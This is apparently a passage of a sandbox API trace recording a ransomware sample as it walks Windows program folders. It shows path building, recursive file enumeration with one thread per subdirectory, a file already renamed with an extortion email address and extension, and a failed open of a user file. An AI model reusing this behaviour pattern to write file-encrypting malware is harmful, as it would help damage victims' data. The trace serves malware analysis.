(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f11a8) returned 1 [0156.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0f78) returned 1 Thread: id = 1829 os_tid = 0xa34 [0140.625] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1368 [0140.625] wcscpy (in: _Dest=0x8f1368, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0140.626] wcscat (in: _Dest=0x8f1368, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0140.626] wcscat (in: _Dest=0x8f1368, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*" [0140.626] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c238 [0140.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3cd6fa0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3cd6fa0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9dd0 [0141.092] wcscmp (_String1=".", _String2=".") returned 0 [0141.092] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa3cd6fa0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3cd6fa0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.092] wcscmp (_String1="..", _String2=".") returned 1 [0141.092] wcscmp (_String1="..", _String2="..") returned 0 [0141.092] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0141.092] wcscmp (_String1="1033", _String2=".") returned 1 [0141.092] wcscmp (_String1="1033", _String2="..") returned 1 [0141.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0141.092] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0141.092] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0141.092] wcscat (in: _Dest=0x93bcc0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0142.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0142.640] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa3b34080, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3b34080, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0142.640] wcscmp (_String1="AUTOSHAP", _String2=".") returned 1 [0142.640] wcscmp (_String1="AUTOSHAP", _String2="..") returned 1 [0142.640] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0280 [0142.640] wcscpy (in: _Dest=0x8d0280, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0142.640] wcscat (in: _Dest=0x8d0280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0142.640] wcscat (in: _Dest=0x8d0280, _Source="AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0142.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0142.641] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa4447460, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa4447460, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0142.641] wcscmp (_String1="BULLETS", _String2=".") returned 1 [0142.641] wcscmp (_String1="BULLETS", _String2="..") returned 1 [0142.641] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0400 [0142.641] wcscpy (in: _Dest=0x8d0400, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0142.641] wcscat (in: _Dest=0x8d0400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0142.641] wcscat (in: _Dest=0x8d0400, _Source="BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0142.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0142.643] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0142.643] wcscmp (_String1="LINES", _String2=".") returned 1 [0142.643] wcscmp (_String1="LINES", _String2="..") returned 1 [0142.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c1e8 [0142.643] wcscpy (in: _Dest=0x93c1e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0142.643] wcscat (in: _Dest=0x93c1e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0142.643] wcscat (in: _Dest=0x93c1e8, _Source="LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0142.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93c1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0142.645] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0142.645] wcscmp (_String1="OFFICE10.DLL", _String2=".") returned 1 [0142.645] wcscmp (_String1="OFFICE10.DLL", _String2="..") returned 1 [0142.645] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78599, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="OFFICE~1.CD4")) returned 1 [0142.645] wcscmp (_String1="OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.645] wcscmp (_String1="OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.645] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78599, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="OFFICE~1.CD4")) returned 0 [0142.645] FindClose (in: hFindFile=0x8d9dd0 | out: hFindFile=0x8d9dd0) returned 1 [0142.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c238) returned 1 [0142.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1368) returned 1 [0142.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1598) returned 1 Thread: id = 1830 os_tid = 0xa38 [0140.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1758 [0140.647] wcscpy (in: _Dest=0x8f1758, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0140.647] wcscat (in: _Dest=0x8f1758, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0140.647] wcscat (in: _Dest=0x8f1758, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\*" [0140.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c4a0 [0140.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941e70 [0140.648] wcscmp (_String1=".", _String2=".") returned 0 [0140.648] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.648] wcscmp (_String1="..", _String2=".") returned 1 [0140.648] wcscmp (_String1="..", _String2="..") returned 0 [0140.648] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0140.648] wcscmp (_String1="Framework", _String2=".") returned 1 [0140.648] wcscmp (_String1="Framework", _String2="..") returned 1 [0140.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0280 [0140.648] wcscpy (in: _Dest=0x8d0280, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0140.648] wcscat (in: _Dest=0x8d0280, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0140.648] wcscat (in: _Dest=0x8d0280, _Source="Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0140.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0140.749] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0140.749] FindClose (in: hFindFile=0x941e70 | out: hFindFile=0x941e70) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c4a0) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1758) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ee88) returned 1 Thread: id = 1831 os_tid = 0xa3c [0140.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90e9a8 [0140.649] wcscpy (in: _Dest=0x90e9a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0140.649] wcscat (in: _Dest=0x90e9a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\" [0140.649] wcscat (in: _Dest=0x90e9a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*" [0140.649] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c708 [0140.649] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x92c708 | out: lpFindFileData=0x92c708*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da050 [0143.535] wcscmp (_String1=".", _String2=".") returned 0 [0143.535] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x92c708 | out: lpFindFileData=0x92c708*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.535] wcscmp (_String1="..", _String2=".") returned 1 [0143.535] wcscmp (_String1="..", _String2="..") returned 0 [0143.535] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x92c708 | out: lpFindFileData=0x92c708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0143.535] wcscmp (_String1="AiodLite.dll", _String2=".") returned 1 [0143.535] wcscmp (_String1="AiodLite.dll", _String2="..") returned 1 [0143.535] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x92c708 | out: lpFindFileData=0x92c708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0143.535] FindClose (in: hFindFile=0x8da050 | out: hFindFile=0x8da050) returned 1 [0143.535] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c708) returned 1 [0143.535] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e9a8) returned 1 [0143.535] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90eef0) returned 1 Thread: id = 1843 os_tid = 0xa6c [0140.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e9430 [0140.692] wcscpy (in: _Dest=0x8e9430, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0140.692] wcscat (in: _Dest=0x8e9430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0140.692] wcscat (in: _Dest=0x8e9430, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*" [0140.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9661d8 [0140.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x9661d8 | out: lpFindFileData=0x9661d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9ed0 [0141.110] wcscmp (_String1=".", _String2=".") returned 0 [0141.110] FindNextFileW (in: hFindFile=0x8d9ed0, lpFindFileData=0x9661d8 | out: lpFindFileData=0x9661d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.110] wcscmp (_String1="..", _String2=".") returned 1 [0141.110] wcscmp (_String1="..", _String2="..") returned 0 [0141.110] FindNextFileW (in: hFindFile=0x8d9ed0, lpFindFileData=0x9661d8 | out: lpFindFileData=0x9661d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0141.110] wcscmp (_String1="Bin", _String2=".") returned 1 [0141.110] wcscmp (_String1="Bin", _String2="..") returned 1 [0141.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d1080 [0141.110] wcscpy (in: _Dest=0x8d1080, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0141.110] wcscat (in: _Dest=0x8d1080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0141.110] wcscat (in: _Dest=0x8d1080, _Source="Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0141.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d1080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0141.793] FindNextFileW (in: hFindFile=0x8d9ed0, lpFindFileData=0x9661d8 | out: lpFindFileData=0x9661d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0141.794] FindClose (in: hFindFile=0x8d9ed0 | out: hFindFile=0x8d9ed0) returned 1 [0141.794] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9661d8) returned 1 [0141.794] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9430) returned 1 [0141.794] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8da0) returned 1 Thread: id = 1845 os_tid = 0xa74 [0140.699] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp")) returned 0x20 [0143.413] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0143.413] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.413] GetLastError () returned 0x5 [0143.413] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0143.413] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f30) returned 1 Thread: id = 1903 os_tid = 0xb5c [0140.921] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0f80 [0140.921] wcscpy (in: _Dest=0x8d0f80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0140.921] wcscat (in: _Dest=0x8d0f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0140.921] wcscat (in: _Dest=0x8d0f80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*" 